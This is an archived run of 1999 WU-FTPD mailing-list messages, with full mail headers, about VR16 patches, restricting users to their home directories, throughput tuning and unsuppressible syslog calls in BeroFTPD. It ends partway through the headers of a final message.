I haven't edited config.h at all. anyways, I'll check if that is causing the
problems. [checked] -- nothing found.

> the daemon starts, are any messages logged? Is /var or /var/run mounted

Mar 3 23:57:12 grobbebol wu.ftpd[15291]: connect from 194.109.14.68

> read-only or NFS mounted? If all else fails, crack into the source and

no, no NFS, /var/run is local on the machine and all other processes that
require the access, like for instance gpm. inetd etc all write to it.

srwxrwxrwx 1 root root 0 Mar 5 12:27 gpmctl=
-rw-r--r-- 1 root root 5 Mar 5 12:27 gpmpid
-rw-r--r-- 1 root root 3 Mar 5 11:44 inetd.pid
-rw-r--r-- 1 root root 3 Mar 5 11:44 klogd.pid
-rw-r--r-- 1 root root 3 Mar 5 11:44 named.pid
-rw-r--r-- 1 root root 32 Mar 5 11:44 sendmail.pid
-rw-r--r-- 1 root root 3 Mar 5 11:44 syslogd.pid
-rw-r--r-- 1 root root 728 Mar 5 12:40 utmp

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Fri Mar 5 07:07:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA10396;
Fri, 5 Mar 1999 07:07:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA21436;
Fri, 5 Mar 1999 07:04:19 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA29337
for <[email protected]>; Fri, 5 Mar 1999 07:00:07 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA32179;
Fri, 5 Mar 1999 07:45:47 -0500
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 07:45:46 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Schmidt <[email protected]>
Cc: [email protected]
Subject: Re: General FTP client problem: SITE
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 5 Mar 1999, Michael Schmidt wrote:

> seems to be no problem of wu-ftpd but of ftp clients. Some don't have
> the SITE command, so the ftp client can't use/issue e.g. SITE GROUP
> and SITE GPASS commands.
>
> Or am I doing something wrong?

say QUOTE SITE ... on the ones where SITE... does not work.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 5 09:57:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA12768;
Fri, 5 Mar 1999 09:57:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA08610;
Fri, 5 Mar 1999 09:53:57 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA29802
for <[email protected]>; Fri, 5 Mar 1999 09:48:41 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA00858;
Fri, 5 Mar 1999 10:48:24 -0500
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 10:48:24 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: FIXES-*
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 5 Mar 1999, Roeland Th. Jansen wrote:

> on ftp.cistron.nl, in /pub/people/miquels/unsupported, there is a
> patch avaiable that does bandwidth control. I don't know if VR16
> suports it but maybe it's nice to incorporate it.

VR16 uses Ralf Engelshall's (sp?) throughput limiting patch, don't
remember where I got it from but the URL was burried in the mailing list
archives.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 5 09:58:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA12805;
Fri, 5 Mar 1999 09:58:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA09867;
Fri, 5 Mar 1999 09:55:29 -0600 (CST)
Received: from science.edu (wbrtr.wband.com [207.140.55.65])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA22061
for <[email protected]>; Fri, 5 Mar 1999 09:49:15 -0600 (CST)
Received: (qmail 14093 invoked from network); 5 Mar 1999 16:52:46 -0000
Received: from unknown (HELO WideCast2) (192.168.1.124)
by wbrtr.wband.com with SMTP; 5 Mar 1999 16:52:46 -0000
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 09:52:06 -0600
Reply-To: [email protected]
Sender: [email protected]
From: "D. Carlos Knowlton" <[email protected]>
To: "Gregory A Lundberg" <[email protected]>
Cc: "WU-FTP" <[email protected]>
Subject: Re: taming realusers
MIME-Version: 1.0
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.0810.800
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

>On Thu, 4 Mar 1999, D. Carlos Knowlton wrote:
>
>> I have a multifunction server with dozens of users, and I'd like to
>> restrict a user's access to only their own home directory tree
>> (similar to anonymous, but with full access you their own shares).
>> Currently, they arrive in their respective home directories, but they
>> can read each other's homes. I would like to restrict that. Could
>> anyone help me see how to do this?
>
>Get VR16, read the man page for restricted uid/gid. Test it carefully, I
>have a report of a problem talking to Netscape and a hot-fix being tested
>to solve it.
>

Thanks again Gregory, this is an excellent feature!

-ck

From [email protected] Fri Mar 5 11:29:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA14209;
Fri, 5 Mar 1999 11:29:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA09576;
Fri, 5 Mar 1999 11:25:38 -0600 (CST)
Received: from seattle.3com.com (seattle.3com.com [129.213.128.97])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA06642
for <[email protected]>; Fri, 5 Mar 1999 11:23:54 -0600 (CST)
Received: from new-york.3com.com (new-york.3com.com [129.213.157.12])
by seattle.3com.com (8.8.8/8.8.8) with ESMTP id JAA05627
for <[email protected]>; Fri, 5 Mar 1999 09:23:52 -0800 (PST)
Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104])
by new-york.3com.com (8.8.8/8.8.8) with SMTP id JAA07358
for <[email protected]>; Fri, 5 Mar 1999 09:23:52 -0800 (PST)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999)) id 8825672B.005F8D2B ; Fri, 5 Mar 1999 09:23:40 -0800
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 09:21:17 -0800
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: File priority for incoming users
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Lotus-FromDomain: 3COM
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I'm currently running wu-2.4.2[Beta-18-VR12]. Is there a way to specify a high
priority for a defined file when users request it? I need to increase
throughput for the demand of a specific file.

Any help is appreciated.

/Jim Martinez

From [email protected] Fri Mar 5 11:54:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA14621;
Fri, 5 Mar 1999 11:54:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA13598;
Fri, 5 Mar 1999 11:51:31 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA00055
for <[email protected]>; Fri, 5 Mar 1999 11:48:35 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA02350;
Fri, 5 Mar 1999 12:48:06 -0500
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 12:48:06 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: File priority for incoming users
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 5 Mar 1999 [email protected] wrote:

> I'm currently running wu-2.4.2[Beta-18-VR12]. Is there a way to
> specify a high priority for a defined file when users request it? I
> need to increase throughput for the demand of a specific file.

You can specify nice adjustments for specific classes of users.
You can also diddle the tcp window size

Those are the things I'd do to effect overall performance.

Specifically, though, the throughput feature should be able to slow down
connections on other files. Check the man page. The feature is rude and
crude, but should get the desired effect by having FTP servers for other
files send data less often leaving more bandwidth for the server sending
the files you're interested in.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 5 15:37:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA17315;
Fri, 5 Mar 1999 15:37:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA28684;
Fri, 5 Mar 1999 15:33:16 -0600 (CST)
Received: from ckgppxy1.proxy.att.com (ckmsfw1.att.com [12.20.58.157])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA29065
for <[email protected]>; Fri, 5 Mar 1999 15:26:48 -0600 (CST)
Received: from merlin.lz.att.com ([135.25.200.5])
by ckgppxy1.proxy.att.com (AT&T/IPNS/GW-1.0) with SMTP id QAA27028
for <[email protected]>; Fri, 5 Mar 1999 16:26:17 -0500 (EST)
Received: by merlin.lz.att.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62)
id <[email protected]>; Fri, 5 Mar 1999 16:29:04 -0500
Message-Id: <c=US%a=_%p=att%[email protected]>
Date: Fri, 5 Mar 1999 16:29:02 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Roger Hanke <[email protected]>
To: "'WUFTPD List'" <[email protected]>
Cc: "'Bernhard Rosenkraenzer'" <[email protected]>,
"'Gregory A. Lundberg'" <[email protected]>
Subject: why nonsuppressible syslog calls on successful actions?
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello All,
While working with BeroFTPD 1.2.3 starting getting
complaints from some of the sysadm's that the
new ftpd version was flooding the Solaris system
log. But I didnt have any debugging or extra
logging levels on.
So checked into the code and found the messages
they were seeing in upl_check routine in extensions.c
file. The following calls are made to syslog every
time a put is performed successfully.
Was this just for development debugging
purposes and never turned off perhaps?
I ask this because when examining the latest
BeroFTPD 1.3.4 code base all of those calls
shown below are now gone.
But even in BeroFTPD 1.3.4 and in VR16
versions I found another of syslog
calls that had been appearing with BeroFTPD 1.2.3.
In ftpd.c on line 5098 (of 1.2.3) there is if
construct which results in LOG_NOTICE call being
made every time a directory is created by a client.
Seems like all NOTICEs like this should be covered
by perhaps that log_security flag I see around a
number of the other notices? Or something else
giving you an option of suppressing essentially
a successful mkdir message? Those were just the
messages reported to me so far, also wonder if there
are any other success messages that cant be
suppressed being output
in these VR and BeroFTPD versions?
Thanx,
Roger Hanke

BeroFTPD 1.2.3
extensions.c starting line 1250
syslog(LOG_ERR,"path=%s home=%s, chroot_path=%s",path,home,chroot_path);
syslog(LOG_ERR,"realpath(path, cwdir, NULL)");
syslog(LOG_ERR,"realpath(home, abspwdir,chroot_path)");
syslog(LOG_ERR,"realpath(home, relpwdir, NULL)");
syslog(LOG_ERR,"done");

ftpd.c starting line 5098
if(anonymous) {
syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", guestpw,
remotehost, remoteaddr, path);
} else {
syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", pw->pw_name,
remotehost, remoteaddr, path);
}

-----------------------------------------------------
Roger A. Hanke AT&T Web Site Services
(732)576-5738 [email protected]
FAX (732)576-6041 http://lynxhub.att.com/~rah/
-----------------------------------------------------

From [email protected] Fri Mar 5 15:49:22 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA17451;
Fri, 5 Mar 1999 15:49:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA24822;
Fri, 5 Mar 1999 15:45:55 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA11952
for <[email protected]>; Fri, 5 Mar 1999 15:40:49 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA04325;
Fri, 5 Mar 1999 16:40:37 -0500
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 16:40:36 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Roger Hanke <[email protected]>
Cc: "'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'" <[email protected]>
Subject: Re: why nonsuppressible syslog calls on successful actions?
In-Reply-To: <c=US%a=_%p=att%[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 5 Mar 1999, Roger Hanke wrote:

> While working with BeroFTPD 1.2.3 starting getting complaints from
> some of the sysadm's that the new ftpd version was flooding the
> Solaris system log. But I didnt have any debugging or extra logging
> levels on.

> So checked into the code and found the messages they were seeing in
> upl_check routine in extensions.c file. The following calls are made
> to syslog every time a put is performed successfully. Was this just
> for development debugging purposes and never turned off perhaps? I ask
> this because when examining the latest BeroFTPD 1.3.4 code base all of
> those calls shown below are now gone.

> But even in BeroFTPD 1.3.4 and in VR16 versions I found another of
> syslog calls that had been appearing with BeroFTPD 1.2.3. In ftpd.c on
> line 5098 (of 1.2.3) there is if construct which results in LOG_NOTICE
> call being made every time a directory is created by a client. Seems
> like all NOTICEs like this should be covered by perhaps that
> log_security flag I see around a number of the other notices? Or
> something else giving you an option of suppressing essentially a
> successful mkdir message? Those were just the messages reported to me
> so far, also wonder if there are any other success messages that cant
> be suppressed being output in these VR and BeroFTPD versions?

> syslog(LOG_ERR,"path=%s home=%s, chroot_path=%s",path,home,chroot_path);
> syslog(LOG_ERR,"realpath(path, cwdir, NULL)");
> syslog(LOG_ERR,"realpath(home, abspwdir,chroot_path)");
> syslog(LOG_ERR,"realpath(home, relpwdir, NULL)");
> syslog(LOG_ERR,"done");

These look like debugging statements.

> if(anonymous) {
> syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", guestpw,
> remotehost, remoteaddr, path);
> } else {
> syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", pw->pw_name,
> remotehost, remoteaddr, path);
> }

For messages like these (there's several more), mainly because nobody's
ever _asked_ to have them suppressed. In fact, in the past, there were
requests for MORE such messages, which VR has added.

Personally, I think it's a good idea to know when someone's done something
special on the machine, but I can see the desire to supress them if you
really don't think such things may indicate security problems.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 5 15:56:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA17519;
Fri, 5 Mar 1999 15:56:04 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA07904;
Fri, 5 Mar 1999 15:52:17 -0600 (CST)
Received: from Sun-E3000.ChampUSA.COM (root@[207.21.123.4])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA25263
for <[email protected]>; Fri, 5 Mar 1999 15:51:47 -0600 (CST)
Received: from ChampUSA.COM (cwbunny.WahLeeWHIRL.COM [204.118.92.3])
by Sun-E3000.ChampUSA.COM (8.9.2/8.9.2) with ESMTP id NAA17870;
Fri, 5 Mar 1999 13:51:14 -0800 (PST)
Message-Id: <[email protected]>
Date: Fri, 05 Mar 1999 13:51:13 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Auteria Wally Winzer Jr." <[email protected]>
To: [email protected]
Cc: Roger Hanke <[email protected]>,
"'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'" <[email protected]>
Subject: Re: why nonsuppressible syslog calls on successful actions?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

DITTO.

- WW Jr.

Gregory A Lundberg wrote:

> On Fri, 5 Mar 1999, Roger Hanke wrote:
>
> > While working with BeroFTPD 1.2.3 starting getting complaints from
> > some of the sysadm's that the new ftpd version was flooding the
> > Solaris system log. But I didnt have any debugging or extra logging
> > levels on.
>
> > So checked into the code and found the messages they were seeing in
> > upl_check routine in extensions.c file. The following calls are made
> > to syslog every time a put is performed successfully. Was this just
> > for development debugging purposes and never turned off perhaps? I ask
> > this because when examining the latest BeroFTPD 1.3.4 code base all of
> > those calls shown below are now gone.
>
> > But even in BeroFTPD 1.3.4 and in VR16 versions I found another of
> > syslog calls that had been appearing with BeroFTPD 1.2.3. In ftpd.c on
> > line 5098 (of 1.2.3) there is if construct which results in LOG_NOTICE
> > call being made every time a directory is created by a client. Seems
> > like all NOTICEs like this should be covered by perhaps that
> > log_security flag I see around a number of the other notices? Or
> > something else giving you an option of suppressing essentially a
> > successful mkdir message? Those were just the messages reported to me
> > so far, also wonder if there are any other success messages that cant
> > be suppressed being output in these VR and BeroFTPD versions?
>
> > syslog(LOG_ERR,"path=%s home=%s, chroot_path=%s",path,home,chroot_path);
> > syslog(LOG_ERR,"realpath(path, cwdir, NULL)");
> > syslog(LOG_ERR,"realpath(home, abspwdir,chroot_path)");
> > syslog(LOG_ERR,"realpath(home, relpwdir, NULL)");
> > syslog(LOG_ERR,"done");
>
> These look like debugging statements.
>
> > if(anonymous) {
> > syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", guestpw,
> > remotehost, remoteaddr, path);
> > } else {
> > syslog(LOG_NOTICE, "%s of %s [%s] created directory %s", pw->pw_name,
> > remotehost, remoteaddr, path);
> > }
>
> For messages like these (there's several more), mainly because nobody's
> ever _asked_ to have them suppressed. In fact, in the past, there were
> requests for MORE such messages, which VR has added.
>
> Personally, I think it's a good idea to know when someone's done something
> special on the machine, but I can see the desire to supress them if you
> really don't think such things may indicate security problems.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 6 20:38:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA20784;
Sat, 6 Mar 1999 20:38:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA08859;
Sat, 6 Mar 1999 20:33:35 -0600 (CST)
Received: from mail.glink.net.hk (mail.glink.net.hk [202.72.0.38])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA24342
for <[email protected]>; Sat, 6 Mar 1999 20:29:51 -0600 (CST)
Received: from earth.glink.net.hk (earth [202.72.0.46])
by mail.glink.net.hk (8.9.1/8.9.1) with ESMTP id KAA13221
for <[email protected]>; Sun, 7 Mar 1999 10:29:48 +0800 (HKT)
Received: (from priron@localhost)
by earth.glink.net.hk (8.9.2/8.9.2) id KAA07393
for [email protected]; Sun, 7 Mar 1999 10:29:47 +0800 (HKT)
Message-Id: <[email protected]>
Date: Sun, 7 Mar 1999 10:29:46 +0800 (HKT)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released (fwd)
Content-Type: text
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Sorry for my stupid.
Does you mean I can just use only one vr-patch (wu-ftpd-2.4.2-vr16.patch) to pat
ch final release version of wuftpd(wu-ftpd 2.4.2) ?
And I do not need to use vr-patch from (VR-3 to VR-16) to patch wu-ftpd-2.4.2 be
ta-18 version to get the same patch result ?

KK

Forwarded message:
> From [email protected] Thu Mar 4 20:17:54 1999
> Message-Id: <[email protected]>
> Date: Thu, 4 Mar 1999 07:13:51 -0500 (EST)
> Reply-To: [email protected]
> Sender: [email protected]
> From: Gregory A Lundberg <[email protected]>
> To: [email protected]
> Cc: [email protected]
> Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released (fwd)
> In-Reply-To: <[email protected]>
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN
> Content-Length: 793
>
> On Thu, 4 Mar 1999 [email protected] wrote:
>
> > Does it is enough that using wu-ftpd-2.4.2-vr16.tar.Z to patch wu-ftpd
> > 2.4.2 (final release) to get the same effect from using all previous
> > vr-patch to patch wu-ftpd Beta 18 ?
>
> To patch from VR15 to VR16, there's a patch set at
> ftp://ftp.vr.net/pub/wu-ftpd/attic/wu-ftpd-2.4.2-beta-18-vr16.patch
>
> Except for a change to the setproctitle() code, there's no significant
> difference. A couple of one-line bug fixes. The only reason I
> recompiled is, well heck, I'm its maintainer; I told the people who build
> binaries for me not to bother unless they _really_ want to.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>
>

From [email protected] Sat Mar 6 22:33:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA22044;
Sat, 6 Mar 1999 22:33:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA24942;
Sat, 6 Mar 1999 22:28:39 -0600 (CST)
Received: from inetarena.com (inetarena.com [206.129.216.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA11655
for <[email protected]>; Sat, 6 Mar 1999 22:21:58 -0600 (CST)
Received: from inetarena.com (inetarena.com [206.129.216.1])
by inetarena.com (8.8.5/8.8.5) with SMTP id UAA20870
for <[email protected]>; Sat, 6 Mar 1999 20:21:29 -0800
Message-Id: <[email protected]>
Date: Sat, 6 Mar 1999 20:21:29 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Jason Mills <[email protected]>
To: [email protected]
Subject: patch
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

i need to know where to find the latest patch .. to fix the recently
released exploit

From [email protected] Sat Mar 6 23:04:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id XAA22347;
Sat, 6 Mar 1999 23:04:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id XAA19390;
Sat, 6 Mar 1999 23:00:50 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA19449
for <[email protected]>; Sat, 6 Mar 1999 22:56:00 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id XAA13388;
Sat, 6 Mar 1999 23:55:47 -0500
Message-Id: <[email protected]>
Date: Sat, 6 Mar 1999 23:55:47 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released (fwd)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sun, 7 Mar 1999 [email protected] wrote:

> Does you mean I can just use only one vr-patch
> (wu-ftpd-2.4.2-vr16.patch) to pat ch final release version of
> wuftpd(wu-ftpd 2.4.2) ? And I do not need to use vr-patch from (VR-3
> to VR-16) to patch wu-ftpd-2.4.2 be ta-18 version to get the same
> patch result ?

When I rolled VR16, I rolled a single patch file which encompasses all
changes.

First off, the full V16 changes are already applied in the tarballs
wu-ftpd-2.4.2-vr16.tar.gz and wu-ftpd-2.4.2-vr16.tar.Z
so all you need to do is download one file and you're all set to go.

The intention of the patch files being available is so that people can see
exactly what's changed. I do it because, whenever I get a new release
(say, of Sendmail) the first thing _I_ do after importing it into my CVS
is to run a diff to see what was done. Sometimes I find changes which
conflict with changes I've made locally, or which I disagee with.

If you wish to apply the patches yourself, take the wu-ftpd-2.4.2.tar.Z
tarball and apply the wu-ftpd-2.4.2-vr16.patch; you will get the same
thing as the pre-patched tarballs. This patch file is HUGE because it
encompasses ALL changes from (Beta 18) to the present, including the
(relatively minor) changes from Academ's (Beta 18) to (Release).

If you have 2.4.2 (Beta 18), through 2.4.2 (Beta 18) VR15, and wish to
apply the patches yourself to move to VR16, look in the attic directory ay
my FTP site. In there you will find each patch file. Apply them in
order. VR3 is the first patch file against Beta-18. The final patch file
wu-ftpd-2.4.2-beta-18-vr16.patch will produce results identical to the
pre-patched tarballs or to applying wu-ftpd-2.4.2-vr16.patch against
wu-ftpd-2.4.2.tar.Z.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sun Mar 7 05:47:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA25085;
Sun, 7 Mar 1999 05:47:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA12279;
Sun, 7 Mar 1999 05:43:00 -0600 (CST)
Received: from www.blackbox.net ([email protected] [195.248.39.131])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id FAA04377
for <[email protected]>; Sun, 7 Mar 1999 05:38:25 -0600 (CST)
Received: from schwarze_witwe (post.blackbox.at [195.248.39.138])
by www.blackbox.net (8.8.8/8.8.8) with SMTP id MAA24653
for <[email protected]>; Sun, 7 Mar 1999 12:38:19 +0100
Message-Id: <[email protected]>
Date: Sun, 7 Mar 1999 12:30:46 +0100
Reply-To: [email protected]
Sender: [email protected]
From: [email protected] (Martin Puaschitz)
To: [email protected]
Cc: [email protected]
Subject: unsubscribe?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Content-ID: <[email protected]>
X-Sender: [email protected]
X-Gateway: NASTA Gate 1.18 for FirstClass(R)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

i wanna unsubscripe on this list.

please tell me how to do this !

thanx,
martin

--

From [email protected] Sun Mar 7 19:36:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA02107;
Sun, 7 Mar 1999 19:36:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA17455;
Sun, 7 Mar 1999 19:30:14 -0600 (CST)
Received: from ckgppxy1.proxy.att.com (ckmsfw1.att.com [12.20.58.157])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA15906
for <[email protected]>; Sun, 7 Mar 1999 19:26:42 -0600 (CST)
Received: from merlin.lz.att.com ([135.25.200.5])
by ckgppxy1.proxy.att.com (AT&T/IPNS/GW-1.0) with SMTP id UAA13828
for <[email protected]>; Sun, 7 Mar 1999 20:26:10 -0500 (EST)
Received: by merlin.lz.att.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62)
id <[email protected]>; Sun, 7 Mar 1999 20:29:08 -0500
Message-Id: <c=US%a=_%p=att%[email protected]>
Date: Sun, 7 Mar 1999 20:29:06 -0500
